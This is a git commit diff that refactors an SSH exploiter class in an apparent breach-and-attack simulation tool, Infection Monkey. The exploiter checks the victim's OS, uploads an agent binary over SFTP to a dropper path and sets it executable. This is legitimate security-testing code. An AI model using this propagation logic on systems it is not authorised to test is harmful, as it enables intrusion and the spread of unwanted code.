Agent: Use IAgentRepository in SSHExploiter

This commit is contained in:
Mike Salvatore 2022-02-28 15:46:48 -05:00
parent cc9cfc5e3b
commit c93835245c
1 changed files with 15 additions and 16 deletions

View File

@ -4,12 +4,11 @@ import time
import paramiko import paramiko
import infection_monkey.monkeyfs as monkeyfs
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.helpers import get_monkey_depth
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
_, stdout, _ = ssh.exec_command("uname -o") _, stdout, _ = ssh.exec_command("uname -o")
uname_os = stdout.read().lower().strip().decode() uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os: if "linux" in uname_os:
self.host.os["type"] = "linux"
self.exploit_result.os = "linux" self.exploit_result.os = "linux"
else: else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}" self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
@ -149,9 +147,9 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
src_path = get_target_monkey(self.host) agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
if not src_path: if not agent_binary_file_object:
self.exploit_result.error_message = ( self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}" f"Can't find suitable monkey executable for host {self.host}"
) )
@ -160,19 +158,17 @@ class SSHExploiter(HostExploiter):
return self.exploit_result return self.exploit_result
try: try:
ftp = ssh.open_sftp() with ssh.open_sftp() as ftp:
self._update_timestamp = time.time()
self._update_timestamp = time.time()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo( ftp.putfo(
file_obj, agent_binary_file_object,
self.options["dropper_target_path_linux"], self.options["dropper_target_path_linux"],
file_size=monkeyfs.getsize(src_path), file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer, callback=self.log_transfer,
) )
self._make_agent_executable(ftp) self._set_executable_bit_on_agent_binary(ftp)
status = ScanStatus.USED
ftp.close() status = ScanStatus.USED
except Exception as exc: except Exception as exc:
self.exploit_result.error_message = ( self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})" f"Error uploading file into victim {self.host}: ({exc})"
@ -182,7 +178,10 @@ class SSHExploiter(HostExploiter):
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(
T1105Telem( T1105Telem(
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path status,
get_interface_to_target(self.host.ip_addr),
self.host.ip_addr,
self.options["dropper_target_path_linux"],
) )
) )
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
@ -215,7 +214,7 @@ class SSHExploiter(HostExploiter):
logger.error(self.exploit_result.error_message) logger.error(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
def _make_agent_executable(self, ftp: paramiko.sftp_client.SFTPClient): def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
ftp.chmod(self.options["dropper_target_path_linux"], 0o700) ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(
T1222Telem( T1222Telem(